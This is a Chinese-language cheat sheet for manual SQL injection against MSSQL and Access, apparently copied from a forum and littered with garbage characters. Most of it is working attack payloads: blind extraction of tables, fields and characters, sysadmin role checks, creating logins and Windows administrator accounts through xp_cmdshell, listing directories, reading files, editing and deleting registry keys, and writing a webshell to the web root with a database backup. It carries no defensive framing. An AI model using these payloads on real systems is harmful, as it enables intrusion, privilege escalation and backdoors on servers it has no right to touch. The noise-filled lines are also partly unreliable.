手工脚本注入
5 e" e w3 V- v& I1.判断是否有注入;and 1=1 ;and 1=2 5 B! u( j: `: k( @3 d% I
! z* h) e2 \7 b0 S2.初步判断是否是mssql ;and user>0 - Q) \; ?* _+ V l
8 C' C# T& ~: \4 Z( j$ @# @
3.注入参数是字符'and [查询条件] and ''='
- t/ V6 ^4 h: v( `5 g4 C6 Q. h' {2 a3 f' \
4.搜索时没过滤参数的'and [查询条件] and '%25'=' " ?$ [7 D7 Q* H# }* Q1 @
" V% x [, ?& W8 [4 d2 H1 S5.判断数据库系统 Z3 Y+ z. Z b: R* F( A
;and (select count(*) from sysobjects)>0 mssql " A* q" F7 Z0 s5 W3 f+ E; o+ }2 v
;and (select count(*) from msysobjects)>0 access ' L: X* E! |$ W) h$ \" J
! s5 ^9 K# \; f5 ]' t" `; G3 P
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ( k5 A. S4 d6 b3 q) [* b# H
; x/ W3 b% C: c z7.猜字段 ;and (select Count(字段名) from 数据库名)>0 5 q/ N5 i, u* k
. P3 n/ n3 W* b% ?! o: O+ M0 L
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 \8 h( t' {& A X( u
3 _3 b& { S8 `9.(1)猜字段的ascii值(access) 2 p& ^! B8 B9 o& U
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 . p: A& B# q4 D/ h
2 `0 o+ ?0 }6 }4 L3 Z) h
(2)猜字段的ascii值(mssql)
& K/ @9 T3 w5 Z" K5 y! |;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 0 j" A$ s; q9 f
+ t3 \! J {7 I& |1 F10.测试权限结构(mssql)
: l) |! Z6 O b8 t8 m8 `% O' r2 ~9 z* N;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- - `# n% e- h" _6 I' S
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
" z8 h7 |( ~. T7 o; d;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
2 H) w& e. e, u) B;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 5 z2 y4 w/ d! t# h1 k t7 b" {# E
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 6 x- U$ I: P) T7 B, u
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 0 K$ M) S. O4 c9 C
;and 1=(select IS_MEMBER('db_owner'));--
8 z' r6 E) U9 W( f4 v. w9 T. i+ X9 s
11.添加mssql和系统的帐户
4 t0 f! l! p9 q2 E) |5 A;exec master.dbo.sp_addlogin username;--
& y7 q) K. x) z9 G% m# ^3 y9 W& Y) L
;exec master.dbo.sp_password null,username,password;--
6 ]1 }2 d: b) k/ R
! E) S" j) n+ |;exec master.dbo.sp_addsrvrolemember sysadmin username;--
4 e# u0 C: v: b% |7 }. ]8 r q6 P6 O7 {2 a# Z/ d
;exec master.dbo.xp_cmdshell 'net user username password
' P& c6 R8 B) g7 ?/ W& C L& E( B/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
/ u( m. r$ A; i" N) q7 F! ~. T* k4 a. |3 E6 C
;exec master.dbo.xp_cmdshell 'net user username password /add';--
) V: B1 D" s/ @& g, h3 q8 T- y/ q
( f5 h( w3 I' s: d- Y; L;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- & r- j7 A% N: K4 x
2 e3 X* S, }: j4 s* r6 y4 D
12.(1)遍历目录
8 b. z! l/ I; d7 T. z1 ^2 A) [- h5 `* k
;create table dirs(paths varchar(100), id int) 9 W0 X9 `0 E. Z/ x: R9 x) W( d
;insert dirs exec master.dbo.xp_dirtree 'c:\' : l) Y5 W* U8 o7 D1 ]
;and (select top 1 paths from dirs)>0 . F' T/ B- j" ]: }& ^
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
& T0 P% \/ B8 Y6 W: a" i. G# I; t! M1 G; `
(2)遍历目录
9 F. B$ B$ P& c/ r4 e9 G! [" r;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
' P8 b) ~% g, C V- g;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
, d8 R B: ? w0 U;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
6 f! [8 p# x5 b4 V0 u;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
0 G% C1 _/ k+ ^5 Y;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
! N0 J" |3 [ [; T3 w
- d: I" g$ T# W& y4 y13.mssql中的存储过程 . P5 z1 t6 z1 u) g; L5 a) C$ B( W! Y
* i/ \$ z7 a; a# O( oxp_regenumvalues 注册表根键, 子键
* _$ v# g3 U. p& R, O' j4 ^2 j;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
( G I8 B; a0 l1 C1 T6 [) T8 d) b3 r! [ k) E
xp_regread 根键,子键,键值名 " Q' P5 a% t/ O4 V
;exec xp_regread
) p9 k# e4 L# {3 {# f+ N- q1 ^0 q'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 - c9 B1 h: v( a+ e# {0 P
; o+ S& M% O* _0 K w
xp_regwrite 根键,子键, 值名, 值类型, 值
3 |# s- P) w8 g, R1 }0 i: @# E/ W& D8 g% y值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
; i$ c/ |, m, Y8 P0 s4 i;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
5 b Q7 O) L! C2 ~: N0 J. G/ }* v9 ]4 ?& x" A
xp_regdeletevalue 根键,子键,值名 8 Q, b7 y2 p- A9 f/ ^9 e
9 b. X4 k& }( |, p) ?8 P9 [/ j5 s
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
$ U! ]' J% h$ `3 a) T) P
* s! G3 H/ a! W8 j7 R+ g. Ixp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
% m! b0 B' i( b2 p& e
1 K- w- ^6 W0 T5 n) ]- a14.mssql的backup创建webshell 9 P$ u7 V' |$ O3 }; L8 m7 {" n
use model : {4 p' b* i: u% f4 I
create table cmd(str image); 9 P) V! B; `1 u) r# C8 G
insert into cmd(str) values (''); 4 Q! ~2 \! M0 u: x; ]' {
backup database model to disk='c:\l.asp';
2 Z8 m6 Y+ \4 z* D3 U! ~& W. O- {) g, `: N2 j& I( |( v6 m' |. }
15.mssql内置函数 6 x* r5 o. K. D8 ] b
;and (select @@version)>0 获得Windows的版本号
, Y& ~2 e9 Z- H;and user_name()='dbo' 判断当前系统的连接用户是不是sa
; ` f+ v, I9 H* x, I9 M. W;and (select user_name())>0 爆当前系统的连接用户 8 S r. c3 w' @2 \" _2 r& s
;and (select db_name())>0 得到当前连接的数据库
# g A; m# ^7 Q, [+ N) z3 C/ P- O2 v2 q
16.简洁的webshell 8 Y/ R" [, Z. g0 H$ z
) y$ Y+ n* p3 I! C1 E, ?. k( v% Fuse model
$ v& D! k' W! \* m1 g! Z( J' ]! Q% J. y6 q8 w& n
create table cmd(str image);
; P& Z K$ a9 y+ E4 `1 m$ c, A+ W* f7 ^! ]
insert into cmd(str) values (''); 0 S- U; `- `8 j9 \1 Z# r
7 ~" K1 A5 z5 V) R$ U) L
backup database model to disk='g:\wwwtest\l.asp'; 4 v5 J% Q" a% w5 K. N. m
$ U0 r& l. K" B% H7 Q# |+ y |